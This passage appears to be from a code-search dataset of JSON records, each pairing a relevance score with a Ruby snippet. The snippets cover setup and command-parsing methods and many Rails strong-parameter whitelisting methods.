"text": "def setup\n redmine_base_url=ENV['REDMINE_BASE_URL']\n redmine_api_key=ENV['REDMINE_API_KEY']\n slack_webhook_url=ENV['SLACK_WEBHOOK_URL']\n verbose = ENV['VERBOSE'] == '1'\n slack_off = ENV['SLACK_OFF'] == '1'\n\n kv = KeyValueStore.new(ENV[\"DATABASE_URL\"])\n rAPI = RedmineSlack::RedmineAPI.new(redmine_base_url, redmine_api_key, verbose:verbose)\n slack_api = RedmineSlack::SlackAPI.new(slack_webhook_url, verbose:verbose)\n slack_api.channel_override = ENV['SLACK_CHANNEL_OVERRIDE']\n slack_api.enabled = !slack_off\n\n RedmineSlack::RedmineSlackGlue.new(rAPI, slack_api, kv, verbose:verbose)\nend",
"title": ""
},
{
"docid": "2c3ae4871f1a61bfff7b188131691272",
"score": "0.5163984",
"text": "def setup\n @admin = users(:admin)\n @user = users(:user)\n @mission = missions(:mission1)\n end",
"title": ""
},
{
"docid": "52490c895a347167744303bb17366849",
"score": "0.515149",
"text": "def init(argv)\n parser.banner = \"usage: smeagol-init [OPTIONS] [WIKI-URI]\\n\"\n\n parser.on('-t', '--title [TITLE]') do |title|\n options[:title] = title\n end\n\n parser.on('-i', '--index [PAGE]') do |page_name|\n options[:index] = page_name\n end\n\n # TODO: support more settings options for creating setup\n\n Console.init(*parse(argv))\n end",
"title": ""
},
{
"docid": "e6f2bf01e891549ab2a2f66b3a5540ac",
"score": "0.51505274",
"text": "def start(commands, runner)\n end",
"title": ""
},
{
"docid": "9a6d9f88be9cb1304572453e036896c1",
"score": "0.5150489",
"text": "def prepare_invoke!\n return if @prepared\n\n super\n\n @targets, @skipped, @invalid = parse_targets\n @targets = [] if @targets.nil?\n\n target_groups = if @targets.empty? && allow_empty_targets?\n # If we have no targets and we allow empty targets, create an empty target group list\n [[]]\n elsif invoke_style == :per_target\n # If invoking :per_target, split the targets array into an array of\n # single element arrays (one per target).\n @targets.combination(1).to_a.compact\n else\n # Else we're invoking :once, wrap the targets array in another array. This is so we\n # can loop through the invokes with the same logic, regardless of which invoke style\n # is needed.\n @targets.each_slice(1000).to_a.compact\n end\n\n # Register all of the commands for all of the targets\n @commands = []\n target_groups.each do |invokation_targets|\n next if invokation_targets.empty? && !allow_empty_targets?\n\n cmd_argv = parse_options(invokation_targets).unshift(cmd_path).compact\n cmd_argv.unshift(File.join(PDK::Util::RubyVersion.bin_path, 'ruby.exe'), '-W0') if Gem.win_platform?\n\n command = PDK::CLI::Exec::Command.new(*cmd_argv).tap do |c|\n c.context = :module\n c.environment = { 'PUPPET_GEM_VERSION' => options[:puppet] } if options[:puppet]\n\n if spinners_enabled?\n parent_validator = options[:parent_validator]\n if parent_validator.nil? || parent_validator.spinner.nil? || !parent_validator.spinner.is_a?(TTY::Spinner::Multi)\n c.add_spinner(spinner_text_for_targets(invokation_targets))\n else\n spinner = TTY::Spinner.new(\"[:spinner] #{spinner_text_for_targets(invokation_targets)}\", PDK::CLI::Util.spinner_opts_for_platform)\n parent_validator.spinner.register(spinner)\n c.register_spinner(spinner, PDK::CLI::Util.spinner_opts_for_platform)\n end\n end\n end\n\n @commands << { command: command, invokation_targets: invokation_targets }\n end\n nil\n end",
"title": ""
},
{
"docid": "6f8a69947e6549a313819a5c17bb1eef",
"score": "0.51268125",
"text": "def default_commands_config\n [\n {\n :name => \"Google Quicksearch\", \n :command_id=> 1,\n :tags=>'google'\n },\n {\n :name => \"Gmail Search\", \n :command_id=> 2,\n :tags=>'google mail'\n },\n {\n :name => \"Google \\\"I'm Feeling Lucky\\\" Wikipedia (en) search\",\n :command_id=> 3,\n :tags=>'google wikipedia'\n },\n {\n :name => \"Dictionary Lookup at Reference.com\",\n :command_id=> 4,\n :tags=>\"dictionary reference language english\"\n },\n {\n :name => \"My Queriac Page\",\n :command_id=> 5,\n :tags=>\"queriac bootstrap\"\n },\n {\n :name => \"Show a Queriac user command\",\n :command_id=> 6,\n :tags=>\"queriac bootstrap\"\n },\n {\n :name => \"Edit a Queriac user command\",\n :command_id=> 7,\n :tags=>\"queriac bootstrap\"\n },\n {\n :name => \"Create a new Queriac user command\",\n :command_id=> 8,\n :tags=>\"queriac bootstrap\"\n },\n {\n :name=> \"Search my Queriac user commands\",\n :command_id=> 645,\n :tags=>\"queriac bootstrap\"\n }\n ]\n end",
"title": ""
},
{
"docid": "f6b66eb4101f835ef0212a7dd50d090a",
"score": "0.51142627",
"text": "def initialize(items = nil, **opt)\n command = opt.delete(:command)\n items, command = [nil, items] if items.is_a?(Symbol)\n opt[:command] = command&.to_sym || DEFAULT_COMMAND\n # noinspection RubyMismatchedArgumentType\n super(items, **opt)\n end",
"title": ""
},
{
"docid": "df96679ac54af6757561346725c51c87",
"score": "0.5094663",
"text": "def initialize(options = {:dry_run => false})\n @commands = Array.new\n @dry_run = options[:dry_run]\n end",
"title": ""
},
{
"docid": "e7000593d7e2a3145b06257ddb8cdc95",
"score": "0.50904197",
"text": "def initialize\n @commands = Hash.new\n @commands = {\n :add_repository => nil,\n :info => nil,\n :install => nil,\n :search => nil,\n :update => nil,\n :upgrade => nil\n }\n\n set_commands\n end",
"title": ""
},
{
"docid": "f6283921cdb1499f975f124a12d52042",
"score": "0.50877774",
"text": "def setup\n @spanner = $spanner\n\n refute_nil @spanner, \"You do not have an active spanner to run the tests.\"\n\n @spanner_client = $spanner_client\n\n refute_nil @spanner_client, \"You do not have an active client to run the tests.\"\n\n super\n end",
"title": ""
},
{
"docid": "31d03ce70742d7a2d74d78c4296d9b8d",
"score": "0.5076982",
"text": "def subcommand!() __subcommand__! end",
"title": ""
},
{
"docid": "886bfe31991e3dcbca4e5c59cc5536ca",
"score": "0.50757027",
"text": "def setup\n @spanner = $spanner\n\n refute_nil @spanner, \"You do not have an active spanner to run the tests.\"\n\n super\n end",
"title": ""
},
{
"docid": "7282f7f38a544e8e3ceda4f638deb4b4",
"score": "0.5071747",
"text": "def setup(&block)\n @setups << block\nend",
"title": ""
},
{
"docid": "25b91d1520576d1b855df6e5bbad4f14",
"score": "0.5063277",
"text": "def setup_spec(t)\n t.spec_opts = ['--options', \"\\\"#{RIGHT_BOT_ROOT}/spec/spec.opts\\\"\"]\n t.spec_files = FileList[\"#{RIGHT_BOT_ROOT}/**/spec/**/*_spec.rb\"]\n t\nend",
"title": ""
},
{
"docid": "4ebcc3cad4ab32b44f5f4569921e7f03",
"score": "0.50624734",
"text": "def parse_args\n options = {}\n optparse = OptionParser.new do|opts|\n # Set a banner\n opts.banner = \"Usage: harness.rb [options...]\"\n\n options[:tests] = []\n opts.on( '-t', '--tests DIR/FILE', 'Execute tests in DIR or FILE (defaults to \"./tests\")' ) do|dir|\n options[:tests] << dir\n end\n\n options[:type] = 'skip'\n opts.on('--type TYPE', 'Select puppet install type (pe, git, skip) - default \"skip\"') do\n |type|\n unless File.directory?(\"setup/#{type}\") then\n puts \"Sorry, #{type} is not a known setup type!\"\n exit 1\n end\n options[:type] = type\n end\n\n options[:puppet] = 'git://github.com/puppetlabs/puppet.git#HEAD'\n opts.on('-p', '--puppet URI', 'Select puppet git install URI',\n \" #{options[:puppet]}\",\n \" - URI and revision, default HEAD\",\n \" just giving the revision is also supported\"\n ) do |value|\n options[:type] = 'git'\n options[:puppet] = value\n end\n\n options[:facter] = 'git://github.com/puppetlabs/facter.git#HEAD'\n opts.on('-f', '--facter URI', 'Select facter git install URI',\n \" #{options[:facter]}\",\n \" - otherwise, as per the puppet argument\"\n ) do |value|\n options[:type] = 'git'\n options[:facter] = value\n end\n\n options[:config] = nil\n opts.on( '-c', '--config FILE', 'Use configuration FILE' ) do|file|\n options[:config] = file\n end\n\n opts.on( '-d', '--dry-run', \"Just report what would be done on the targets\" ) do |file|\n $dry_run = true\n end\n\n options[:mrpropper] = FALSE\n opts.on( '--mrpropper', 'Clean hosts' ) do\n puts \"Cleaning Hosts of old install\"\n options[:mrpropper] = TRUE\n end\n\n options[:stdout_only] = FALSE\n opts.on('-s', '--stdout-only', 'log output to STDOUT but no files') do\n puts \"Will log to STDOUT, not files...\"\n options[:stdout_only] = TRUE\n end\n\n options[:quiet] = false\n opts.on('-q', '--quiet', 'don\\'t log output to STDOUT') do\n options[:quiet] = true\n end\n\n opts.on( '-h', '--help', 'Display this screen' ) do\n puts opts\n exit\n end\n end\n optparse.parse!\n return options\nend",
"title": ""
},
{
"docid": "e1dd18cf24d77434ec98d1e282420c84",
"score": "0.50399685",
"text": "def setup(&block)\n define_method(:setup, &block)\n end",
"title": ""
},
{
"docid": "6de5190b7cc05fa815d8328d5dc41167",
"score": "0.50370014",
"text": "def invoke_setup!\n source_command_wrapper\n @setup_block.call(self) if @setup_block\n end",
"title": ""
},
{
"docid": "92c379b416d69a7e16dc8b3e91101557",
"score": "0.5034435",
"text": "def __subcommand__!() @__subcommand__ end",
"title": ""
},
{
"docid": "bf6f3bf44638b9285930231ada376563",
"score": "0.50306565",
"text": "def setup(args={})\n super\n @conf_key = (args[:config_key] || :http_endpoints).to_sym\n set_points\n end",
"title": ""
},
{
"docid": "e3f4c7b49b8b302d58d348c79ab8ba76",
"score": "0.50305355",
"text": "def setup(klass, *methods)\n \n end",
"title": ""
},
{
"docid": "6b96fe9fb412acd699a299b010338af5",
"score": "0.5029558",
"text": "def setup\n @useradmin3 = useradmins(:useradmin3)\n @user3 = users(:three)\n end",
"title": ""
},
{
"docid": "98655365085efd9b938ff0016706b56f",
"score": "0.502821",
"text": "def commands\n abstract!\n end",
"title": ""
},
{
"docid": "41b46161c1c56f4f89b6b47b8280f5b1",
"score": "0.5026602",
"text": "def setup\n end",
"title": ""
},
{
"docid": "41b46161c1c56f4f89b6b47b8280f5b1",
"score": "0.5026602",
"text": "def setup\n end",
"title": ""
},
{
"docid": "41b46161c1c56f4f89b6b47b8280f5b1",
"score": "0.5026602",
"text": "def setup\n end",
"title": ""
},
{
"docid": "41b46161c1c56f4f89b6b47b8280f5b1",
"score": "0.5026602",
"text": "def setup\n end",
"title": ""
},
{
"docid": "41b46161c1c56f4f89b6b47b8280f5b1",
"score": "0.5026602",
"text": "def setup\n end",
"title": ""
},
{
"docid": "061d238f583af92d985a554ce3589a12",
"score": "0.5016441",
"text": "def initialize_opts(stop_cmds)\n opts = Trollop::options do\n banner \"Tickspot CLI interface\"\n opt :config, \n \"Path to tickspot-cli config file\", \n :short => \"-c\", \n :default => File.expand_path(\"~/.tickspot-cli\")\n stop_on stop_cmds\n end\n end",
"title": ""
},
{
"docid": "7280ae02bd63d20239fe13a1c65abe1d",
"score": "0.5013069",
"text": "def initialize command_string\n @cmds = parse_command_string( command_string.to_s )\n end",
"title": ""
},
{
"docid": "5ac95aa4987f01c5449be52b7ddfc9a2",
"score": "0.5007223",
"text": "def commands\n load_commands unless @commands\n @commands\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "343350a7f1f2474ccaa932004a82dd71",
"score": "0.0",
"text": "def delegate_params\n params.require(:delegate).permit(:state, :name_last, :name_first, :links)\n end",
"title": ""
}
] |
[
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7495027",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.69566035",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69225836",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.68929327",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67848456",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.674347",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6682223",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6636527",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66291976",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66258276",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65625846",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6491194",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64526874",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64001405",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.63810205",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63634825",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.633783",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6336759",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6325718",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.631947",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.63146484",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63137317",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6306224",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.6301168",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.63000035",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.629581",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6280713",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6271388",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6266194",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6256044",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62550515",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62525266",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6234781",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62278074",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6226693",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.6226605",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6226114",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6200643",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.61913997",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61835426",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6179986",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61630195",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160931",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6155551",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61542404",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61356604",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61342114",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61188847",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61140966",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61107725",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.60860336",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60855556",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.608446",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076753",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60742563",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60677326",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60666215",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065763",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.60655254",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.6064794",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6062697",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562736",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60491294",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6046521",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.6041768",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60346854",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030552",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6024842",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6021606",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.6019679",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6017253",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60145336",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60074294",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006753",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60048765",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60009843",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
